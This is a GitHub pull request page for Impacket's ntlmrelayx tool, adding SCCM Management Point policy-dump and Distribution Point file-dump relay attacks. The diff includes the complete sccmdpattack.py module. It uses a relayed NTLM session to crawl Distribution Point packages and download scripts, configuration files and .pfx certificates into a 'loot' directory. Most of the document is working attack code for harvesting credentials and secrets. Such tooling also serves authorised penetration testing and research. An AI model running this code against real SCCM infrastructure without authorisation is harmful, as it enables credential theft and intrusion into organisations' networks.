Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding SCCM Policies attack and SCCM Distribution Point attack #72

Open
wants to merge 3 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 29 additions & 1 deletion examples/ntlmrelayx.py
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,7 @@
from urllib.request import ProxyHandler, build_opener, Request
except ImportError:
from urllib2 import ProxyHandler, build_opener, Request
from urllib.parse import urlparse

import json
from time import sleep
Expand Down Expand Up @@ -208,7 +209,11 @@ def start_servers(options, threads):
c.setIsShadowCredentialsAttack(options.shadow_credentials)
c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type,
options.cert_outfile_path)

c.setIsSCCMPoliciesAttack(options.sccm_policies)
c.setIsSCCMDPAttack(options.sccm_dp)
c.setSCCMPoliciesOptions(options.sccm_policies_clientname, options.sccm_policies_sleep)
c.setSCCMDPOptions(options.sccm_dp_extensions, options.sccm_dp_files)

c.setAltName(options.altname)

#If the redirect option is set, configure the HTTP server to redirect targets to SMB
Expand Down Expand Up @@ -403,6 +408,17 @@ def stop_servers(threads):
help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))')
shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key')

# SCCM policies options
sccmpoliciesoptions = parser.add_argument_group("SCCM Policies attack options")
sccmpoliciesoptions.add_argument('--sccm-policies', action='store_true', required=False, help='Enable SCCM policies attack. Performs SCCM secret policies dump from a Management Point by registering a device. Works best when relaying a machine account. Expects as target \'http://<MP>/ccm_system_windowsauth/request\'')
sccmpoliciesoptions.add_argument('--sccm-policies-clientname', action='store', required=False, help='The name of the client that will be registered in order to dump secret policies. Defaults to the relayed account\'s name')
sccmpoliciesoptions.add_argument('--sccm-policies-sleep', action='store', required=False, help='The number of seconds to sleep after the client registration before requesting secret policies')

sccmdpoptions = parser.add_argument_group("SCCM Distribution Point attack options")
sccmdpoptions.add_argument('--sccm-dp', action='store_true', required=False, help='Enable SCCM Distribution Point attack. Perform package file dump from an SCCM Distribution Point. Expects as target \'http://<DP>/sms_dp_smspkg$/Datalib\'')
sccmdpoptions.add_argument('--sccm-dp-extensions', action='store', required=False, help='A custom list of extensions to look for when downloading files from the SCCM Distribution Point. If not provided, defaults to .ps1,.bat,.xml,.txt,.pfx')
sccmdpoptions.add_argument('--sccm-dp-files', action='store', required=False, help='The path to a file containing a list of specific URLs to download from the Distribution Point, instead of downloading by extensions. Providing this argument will skip file indexing')

try:
options = parser.parse_args()
except Exception as e:
Expand All @@ -412,6 +428,18 @@ def stop_servers(threads):
if options.rpc_use_smb and not options.auth_smb:
logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes")
sys.exit(1)

# Ensuring the correct target is set when performing SCCM policies attack
if options.sccm_policies is True and not options.target.rstrip('/').endswith("/ccm_system_windowsauth/request"):
logging.error("When performing SCCM policies attack, the Management Point authenticated device registration endpoint should be provided as target")
logging.error(f"For instance: {urlparse(options.target).scheme}://{urlparse(options.target).netloc}/ccm_system_windowsauth/request")
sys.exit(1)

# Ensuring the correct target is set when performing SCCM DP attack
if options.sccm_dp is True and not options.target.rstrip('/').endswith("/sms_dp_smspkg$/Datalib"):
logging.error("When performing SCCM DP attack, the Distribution Point Datalib endpoint should be provided as target")
logging.error(f"For instance: {urlparse(options.target).scheme}://{urlparse(options.target).netloc}/sms_dp_smspkg$/Datalib")
sys.exit(1)

# Init the example's logger theme
logger.init(options.ts)
Expand Down
11 changes: 10 additions & 1 deletion impacket/examples/ntlmrelayx/attacks/httpattack.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,11 +19,15 @@

from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmpoliciesattack import SCCMPoliciesAttack
from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDPAttack



PROTOCOL_ATTACK_CLASS = "HTTPAttack"


class HTTPAttack(ProtocolAttack, ADCSAttack):
class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack):
"""
This is the default HTTP attack. This attack only dumps the root page, though
you can add any complex attack below. self.client is an instance of urrlib.session
Expand All @@ -36,10 +40,15 @@ def run(self):

if self.config.isADCSAttack:
ADCSAttack._run(self)
elif self.config.isSCCMPoliciesAttack:
SCCMPoliciesAttack._run(self)
elif self.config.isSCCMDPAttack:
SCCMDPAttack._run(self)
else:
# Default action: Dump requested page to file, named username-targetname.html
# You can also request any page on the server via self.client.session,
# for example with:
print("DEFAULT CASE")
self.client.request("GET", "/")
r1 = self.client.getresponse()
print(r1.status, r1.reason)
Expand Down
215 changes: 215 additions & 0 deletions impacket/examples/ntlmrelayx/attacks/httpattacks/sccmdpattack.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,215 @@
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# SCCM relay attack to dump files from Distribution Points
#
# Authors:
# Quentin Roland(@croco_byte - Synacktiv)
# Based on SCCMSecrets.py (https://github.com/synacktiv/SCCMSecrets/)
# Inspired by the initial pull request of Alberto Rodriguez (@__ar0d__)
# Credits to @badsectorlabs for the datalib file indexing method

import os
import json
import urllib

from html.parser import HTMLParser
from datetime import datetime
from impacket import LOG


def print_tree(d, out, prefix=""):
keys = list(d.keys())
for i, key in enumerate(keys):
is_last = (i == len(keys) - 1)
if isinstance(d[key], dict):
out.write(f"{prefix}{'└── ' if is_last else '├── '}{key}/\n")
new_prefix = f"{prefix}{' ' if is_last else '│ '}"
print_tree(d[key], out, new_prefix)
else:
out.write(f"{prefix}{'└── ' if is_last else '├── '}{key}\n")

class PackageIDsRetriever(HTMLParser):
def __init__(self):
super().__init__()
self.package_ids = set()

def handle_starttag(self, tag, attrs):
if tag == 'a':
for attr in attrs:
if attr[0] == 'href':
href = attr[1]
parts = href.split('/')
last_part = parts[-1].strip()
if not last_part.endswith('.INI'):
self.package_ids.add(last_part)

class FilesAndDirsRetriever(HTMLParser):
def __init__(self):
super().__init__()
self.links = []
self.previous_data = ""

def handle_starttag(self, tag, attrs):
self.current_tag = tag
if tag == 'a':
href = dict(attrs).get('href')
if href:
self.links.append((href, self.previous_data))

def handle_data(self, data):
self.previous_data = data.strip()



class SCCMDPAttack:
max_recursion_depth = 7
DP_DOWNLOAD_HEADERS = {
"User-Agent": "SMS CCM 5.0 TS"
}

def _run(self):
LOG.info("Starting SCCM DP attack")

self.distribution_point = f"{'https' if self.client.port == 443 else 'http'}://{self.client.host}"
self.loot_dir = f"{self.client.host}_{datetime.now().strftime('%Y%m%d%H%M%S')}_sccm_dp_loot"
if self.config.SCCMDPExtensions == None:
self.config.SCCMDPExtensions = [".ps1", ".bat", ".xml", ".txt", ".pfx"]
elif not self.config.SCCMDPExtensions.strip():
self.config.SCCMDPExtensions = []
else:
self.config.SCCMDPExtensions = [x.strip() for x in self.config.SCCMDPExtensions.split(',')]

try:
os.makedirs(self.loot_dir, exist_ok=True)
LOG.info(f"Loot directory is: {self.loot_dir}")
except Exception as err:
LOG.error(f"Error creating base output directory: {err}")
return


# If a set of URLs was provided, do not reindex
if self.config.SCCMDPFiles is None:
try:
LOG.debug("Retrieving package IDs from Datalib")
self.package_ids = set()
self.fetch_package_ids_from_datalib()
except Exception as e:
LOG.error(f"Encountered an error while indexing files from Distribution Point: {e}")
return

try:
LOG.debug("Performing file download")
self.download_target_files()
LOG.info("File download performed")
except Exception as e:
LOG.error(f"Encountered an error while downloading target files: {e}")
return

LOG.info(f"DONE - attack finished. Check loot directory {self.loot_dir}")




def recursive_file_extract(self, data):
to_download = []
if isinstance(data, dict):
for key, value in data.items():
if value is None and key.endswith(tuple(self.config.SCCMDPExtensions)):
to_download.append(key)
else:
to_download.extend(self.recursive_file_extract(data[key]))
return to_download


def download_files(self, files):
for file in files:
try:
parsed_url = urllib.parse.urlparse(file)
filename = '__'.join(parsed_url.path.split('/')[3:])
package = parsed_url.path.split('/')[2]
self.client.request("GET", file, headers=self.DP_DOWNLOAD_HEADERS)
r = self.client.getresponse().read()
output_file = f"{self.loot_dir}/packages/{package}/{filename}"
with open(output_file, 'wb') as f:
f.write(r)
LOG.info(f"Package {package} - downloaded file {filename}")
except Exception as e:
LOG.error(f"[!] Error when downloading the following file: {file}")
LOG.error(f"{e}")


def download_target_files(self):
if self.config.SCCMDPFiles is not None:
with open(self.config.SCCMDPFiles, 'r') as f:
contents = f.read().splitlines()
package_ids = set()
to_download = []
for file in contents:
try:
package_ids.add(urllib.parse.urlparse(file).path.split('/')[2])
if file.strip() is not None: to_download.append(file)
except:
LOG.error(f"(Skipping) URL has wrong format: {file}")
continue
for package_id in package_ids:
os.makedirs(f'{self.loot_dir}/packages/{package_id}', exist_ok=True)
self.download_files(to_download)
else:
self.handle_packages()


def handle_packages(self):
with open(f"{self.loot_dir}/index.txt", "a") as f:
for i, package_id in enumerate(self.package_ids):
package_index = {package_id: {}}
self.recursive_package_directory_fetch(package_index[package_id], f"{self.distribution_point}/sms_dp_smspkg$/{package_id}", 0)
print_tree(package_index, f)
to_download = self.recursive_file_extract(package_index[package_id])
if len(to_download) == 0:
LOG.debug(f"Handled package {package_id} ({i+1}/{len(self.package_ids)})")
continue
os.makedirs(f'{self.loot_dir}/packages/{package_id}', exist_ok=True)
self.download_files(to_download)
LOG.debug(f"Handled package {package_id} ({i+1}/{len(self.package_ids)})")
LOG.info("[+] Package handling complete")


def recursive_package_directory_fetch(self, object, directory, depth):
depth += 1

self.client.request("GET", directory, headers=self.DP_DOWNLOAD_HEADERS)
r = self.client.getresponse().read()

parser = FilesAndDirsRetriever()
parser.feed(r.decode())

files = []
for href in parser.links:
if '<dir>' in href[1]:
if depth <= self.max_recursion_depth:
object[href[0]] = {}
self.recursive_package_directory_fetch(object[href[0]], href[0], depth)
else:
object[href[0]] = "Maximum recursion depth reached"
else:
files.append(href[0])
for file in files:
object[file] = None


def fetch_package_ids_from_datalib(self):
self.client.request("GET", f"{self.distribution_point}/sms_dp_smspkg$/Datalib", headers=self.DP_DOWNLOAD_HEADERS)
r = self.client.getresponse().read()
packageIDs_parser = PackageIDsRetriever()
packageIDs_parser.feed(r.decode())
self.package_ids = packageIDs_parser.package_ids

LOG.info(f"Found {len(self.package_ids)} packages")
LOG.debug(self.package_ids)
Loading